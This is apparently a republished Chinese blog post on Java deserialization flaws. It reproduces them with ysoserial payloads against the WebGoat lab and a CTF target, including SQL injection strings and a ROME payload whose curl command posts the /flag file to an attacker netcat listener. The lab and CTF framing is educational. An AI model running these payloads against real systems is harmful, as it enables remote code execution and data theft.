Java反序列化漏洞实战:原理剖析与复现步骤

news2024/9/21 2:32:34

文章目录

  • java反序列化
      • 概念
      • 数据
      • 示例
      • Ysoserial工具使用
        • 概念
        • 原生态api
        • 第三方组件
          • 概念
          • 复现
  • 反序列化示例
        • 靶场
        • 过程

在现代应用程序开发中,Java反序列化漏洞已成为一个备受关注的安全问题。反序列化是Java中用于将字节流转换回对象的过程,但如果没有妥善处理,攻击者可以通过精心构造的恶意数据,利用反序列化漏洞执行任意代码,进而控制整个系统。理解Java反序列化漏洞的工作原理,并掌握其复现技巧,对于提升我们的安全防护水平至关重要。

本文将深入剖析Java反序列化漏洞的原理,展示如何在实际环境中复现该漏洞,并提供有效的防御措施。无论你是网络安全的新手,还是经验丰富的开发者,都能从中获得宝贵的知识和实用的技能。让我们一同揭开Java反序列化漏洞的神秘面纱,提升我们的安全防护能力

java反序列化

  1. 概念

    1. Java 反序列化是一种将字节流转换回相应的 Java 对象的过程。反序列化与序列化相对应,序列化是将对象转换为字节流的过程。反序列化在分布式系统、持久化存储、网络通信和深度复制等应用中非常重要。
  2. 数据

    1. 功能特性

      1. 反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
    2. 数据特性

      1. 如果一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
      2. 如果以aced开头,那么他就是这一段java序列化的16进制。
    3. 出现具体

      1. http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),MII等 Servlets http,Sockets,Session管理器,包含的协议就包括:JMX,RMI,JMS,JND1等 (xacXed)xml Xstream, XmldEcoder等(http Body: Content-type: application/xml) json(jackson,fastjson)http请求中包含
  3. 示例

    1. 序列化与反序列化操作–代码

      package SerialTest;
      
      import java.io.*;
      
      public class SerializableTest {
          public static void main(String[] args) throws Exception {
              serialPerson();
              Person person = deserialPerson();
              System.out.println(person);
          }
      
          /**
           * Person对象序列化
           * @throws IOException
           */
          private static void serialPerson() throws IOException {
              Person person = new Person("xiaodi", 28, "男", 101);
      
              ObjectOutputStream oos = new ObjectOutputStream(
                      new FileOutputStream(new File("d:/1/person.txt"))
              );
              oos.writeObject(person);
              System.out.println("person 对象序列化成功!");
              oos.close();
          }
      
          /**
           * Person对象反序列化
           * @return
           * @throws Exception
           */
          private static Person deserialPerson() throws Exception {
              ObjectInputStream ois = new ObjectInputStream(
                      new FileInputStream(new File("d:/1/x.txt"))
              );
              Person person = (Person)ois.readObject();
              System.out.println("person 对象反序列化成功!");
              //Runtime.getRuntime().exec("calc.exe");
              return person;
          }
      }
      

  4. Ysoserial工具使用

    1. 概念
      1. 用于生成原生态或者是第三方组件的序列化数据
    2. 原生态api
      1. dns利用序列化数据生成

        java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://hnsmhz.dnslog.cn" > b.txt
        
      2. 将其进行反序列化成功ping通dns

    3. 第三方组件
      1. 概念
      2. 复现
        1. 靶场:webgoat

        2. 环境启动

          java -jar webgoat-server-8.1.0.jar --server.port=8000
          //注意,java的版本为11
          //登录地址:http://localhost:8000/WebGoat   注意大小写
          
        3. 通过代码审计,发现符合Hibernate1 序列化库特征,可以直接使用现有的库来构造弹出计算机的payload,也可以直接用网站的库来构造payload

          1. payload

            java -cp "hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar" ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin
            
        4. 生成bin文件

        5. 因为网站用的是base64加密,故用base64加密脚本进行加密

          1. 解密脚本

            import base64
            file = open("flag.bin","rb")
            
            now = file.read()
            ba = base64.b64encode(now)
            print(ba)
            file.close()
            
  5. 反序列化示例

  6. 靶场
    1. buuctf搜索2020 朱雀组 think java
    2. 源码下载:class.zip
  7. 过程
    1. 打开源码,发现sql注入

    2. 对其进行注入,获得admin的账号和密码

      1. payload

        url:http://fc2c9ce6-f7ce-43cd-88e8-4575718ab6b9.node5.buuoj.cn:81/common/test/sqlDict
        dbName=myapp?a='union select (select name from user)#
        dbName=myapp?a='union select (select pwdfrom user)#
        
    3. 通过扫描可以得到有swagger未授权漏洞,打开http://fc2c9ce6-f7ce-43cd-88e8-4575718ab6b9.node5.buuoj.cn:81/swagger-ni.html页面

    4. 在接口文档中输入账号和密码,登录成功,查看返回的数据,发现rO0AB开头,疑似base64加密后的java序列化数据

    5. 发现此页面存在对token的验证文档,可能需要进行反序列化操作

    6. 通过生成ping域名的payload并对其进行base64加密测试,发现存在此类漏洞

      1. payload:

        java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://ag61d5.dnslog.cn" > b.txt
        
    7. 通过nc将读取flag值并反弹到服务器

      1. payload

        服务端:
        java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://xx.xx.xx.xx:4444/ -d @/flag" > b.txt
        攻击者启动监听:
        nc -lvp 4444
        

通过本文的学习,我们不仅深入了解了Java反序列化漏洞的原理,还掌握了复现该漏洞的具体步骤和有效的防御策略。安全防护不仅是技术上的突破,更是一种持续关注和防范的意识。通过对Java反序列化漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据免受攻击。

在信息安全的道路上,我们每个人都有责任和义务不断提升自身的安全技能和意识。希望本文能为你在安全防护方面提供有价值的指导和帮助,激发你对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全和可靠的网络环境。如果你有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢你的阅读,期待你的反馈与分享!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1983565.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

搭建PXE实现服务器自动部署

PXE(Preboot Execution Environment)是一种计算机启动技术,它允许计算机从网络上的服务器而不是从本地硬盘或光盘等存储介质上启动。这种技术主要应用在无盘工作站、网络安装操作系统、远程维护等方面。 环境:一台rhel7.9作为PXE…

Java学习十五—异常处理

一、关于异常 1.1 简介 在Java中,异常(Exception)是指程序执行过程中可能遇到的意外或错误情况。 Java异常处理是Java语言中一个重要的机制,用于处理程序运行时发生的异常情况。 ​​ 1.2 分类 Java异常分为两大类&#xff1…

STM32 驱动直流无刷电机(BLDC)发声

STM32驱动直流无刷电机(BLDC)发声 ✨需要注意,这是驱动直流无刷电机(BLDC)发出声音,不是直接驱动无刷电机转动。 📍内容移植参考:ttps://github.com/AlkaMotors/AM32-MultiRotor-ESC-firmware📍Arduino平台BLDC Music开…

小程序开发入门:第一天的学习和实践指南

目录 一. 理解小程序的基本概念 1. 无需安装 2. 快速启动 3. 界面简洁 4. 独立性和封闭性 5. 数据安全 6. 框架结构 7. 生命周期 8. 全局配置 9. API支持 10. 发布和更新 二、选择合适的开发工具 1. 微信开发者工具 2. Visual Studio Code 3. Sublime Text 4. …

荣耀手机怎么录屏?荣耀手机录屏功能全解析

荣耀手机作为一款受欢迎的智能手机品牌,拥有丰富的功能和实用的工具,其中包括强大的录屏功能。然而,对于一些荣耀手机用户来说,如何利用这一功能可能会感到困惑。 在数字化时代,录制屏幕上的内容已成为许多用户分享、…

AOE网及其求解关键路径

全称 Activity on Edge Network 边活动网 特点 仅存在 有向无环图 作用 用于记录完成整个工程至少花费的时间 > 哪条路径最耗时?也就是“ 关键路径 ” AOE网元素介绍 关键活动 关键路径上的活动称为关键活动 , 关键活动是不允许拖延的&#x…

ctfshow-web入门-sql注入(web186-web190)

目录 1、web186 2、web187 3、web188 4、web189 5、web190 1、web186 新增过滤 \%|\<|\>|\^ 采用 regexp 正则表达式的方法来匹配&#xff0c;payload&#xff1a; ^ 表示匹配开头&#xff0c;也就是说我们猜测 flag 的第一个字符是 c tableNamectfshow_user gro…

sql注入——环境搭建以及sqli-labs闯关

1.简介 本文将详细介绍如何在Windows系统中使用PHPStudy搭建SQLi-Labs环境&#xff0c;在刚学习SQL注入的时候&#xff0c;都需要拥有一个能SQL注入的网站。因此我们一般都是在本地搭建一个能SQL注入测试的网站&#xff0c;而SQLi-Labs是一个精心设计的SQL注入学习平台。 2. …

无心剑七律《悼李政道先生》

七律悼李政道先生 苏州才俊志凌云&#xff0c;联大求知岁月勤 异域扬名赢诺奖&#xff0c;前沿探秘破迷群 基金倡导根基固&#xff0c;学子栽培事业殷 科教倾心功绩著&#xff0c;英名不朽铸奇文 2024年8月5日 平水韵十二文平韵 这首诗是一首悼念李政道先生的七律&#xff0c;无…

【隐私计算篇】混淆电路之深入浅出

入门隐私计算的阶段&#xff0c;一般都会涉及对于混淆电路的学习&#xff0c;这是因为混淆电路是多方安全计算中的基础密码原语&#xff0c;也是隐私保护中重要的技术。为了帮助更好地理解混淆电路的原理&#xff0c;今天对其进行原理以及相关优化手段进行解析和分享。 1. 混淆…

【2024华数杯】C题成品论文及代码

问题分析 1、问题一 针对问题一&#xff0c;为了解决此问题&#xff0c;我们需要利用 python 中的内置线性扫描算法 max遍历所有城市景点数据&#xff0c;寻到最高评分&#xff0c;检索每个城市中景点获评最高评分的数量&#xff0c;随后排序并列出前 10 个城市。 2、问题二&…

sqlilab本地靶场注入less-1~less-6

如何通过information_schema数据库查表名&#xff0c;列名 首先要了解mysql和mariadb数据库默认自带的tables有哪些&#xff1a; mariadb自带数据库 information_schema performance_schema mysql MySQL自带数据库 information_schema performance_schema mysql…

ubuntu执行git svn clone发生中断:APR does not understand this error code: ra serf

问题描述 在ubuntu中执行 git svn clone <url>的时候&#xff0c;出现如下报错&#xff1a; 即 ubuntu&#xff1a;APR does not understand this error code: ra serf: The server sent a truncated HTTPresponse body.解决方法 方法一&#xff1a;使用git svn fet…

C语言 | Leetcode C语言题解之第324题摆动排序II

题目&#xff1a; 题解&#xff1a; static inline void swap(int *a, int *b) {int c *a;*a *b;*b c; }static inline int partitionAroundPivot(int left, int right, int pivot, int *nums) {int pivotValue nums[pivot];int newPivot left;swap(&nums[pivot], &a…

谈谈冯诺依曼体系

我们都知道冯诺依曼体系这张图最为代表性&#xff0c;而接下来我们就来浅谈一下各部分之间的作用~ 输入设备&#xff1a;键盘&#xff0c;磁盘&#xff0c;网卡&#xff0c;话筒等等 输出设备&#xff1a;磁盘&#xff0c;网卡&#xff0c;声卡&#xff0c;显示屏等等 这些硬件…

TiDE时间序列模型预测(Long-term Forecasting with TiDE: Time-series Dense Encoder)

时间序列预测&#xff0c;广泛用于能源、金融、交通等诸多行业&#xff0c;传统的统计模型&#xff0c;例如ARIMA、GARCH等因其简单高效而被广泛使用&#xff0c;近年来&#xff0c;随着深度学习的兴起&#xff0c;基于神经网络的预测模型也备受关注&#xff0c;表现出强大的预…

EHS行业趋势:2024年的EHS管理新动向

随着全球气候变化和资源枯竭等问题的日益严峻&#xff0c;企业对环境、健康与安全&#xff08;EHS&#xff09;管理的重视程度达到了前所未有的高度。特别是在“双碳”目标的推动下&#xff0c;绿色制造、ESG&#xff08;环境、社会与治理&#xff09;和可持续发展已成为企业的…

KAFKA-03-kafka 脚本命令使用详解

0&#xff1a;脚本总结 1、kafka-acls.sh #配置&#xff0c;查看kafka集群鉴权信息 2、kafka-configs.sh #查看&#xff0c;修改kafka配置3、kafka-console-consumer.sh #消费命令 4、kafka-console-producer.sh #生产命令 5、kafka-consumer-groups.sh #查看消费者组&#xf…

二百五十六、MySQL——MySQL新用户设置密码报错

一、目的 在执行脚本创建海豚调度器在MySQL中的数据库以及用户时&#xff0c;发现脚本执行报错 二、原先脚本内容 三、执行报错 [roothurys22 dolphinscheduler]# sh mysql-metastore.sh ------------ 在MySQL中创建元数据库及用户 ------------ mysql: [Warning] Using a…

9、springboot3 vue3开发平台-前端- vue3工程创建

1. 项目说明 技术选择&#xff1a; 使用vue3 TS ElementPlus&#xff0c; 开发使用vite构建 目的&#xff1a; 搭建管理系统框架&#xff0c; 包含动态路由&#xff0c; 动态菜单&#xff0c; 用户&#xff0c;角色&#xff0c; 菜单&#xff0c;权限管理&#xff0c;日志等…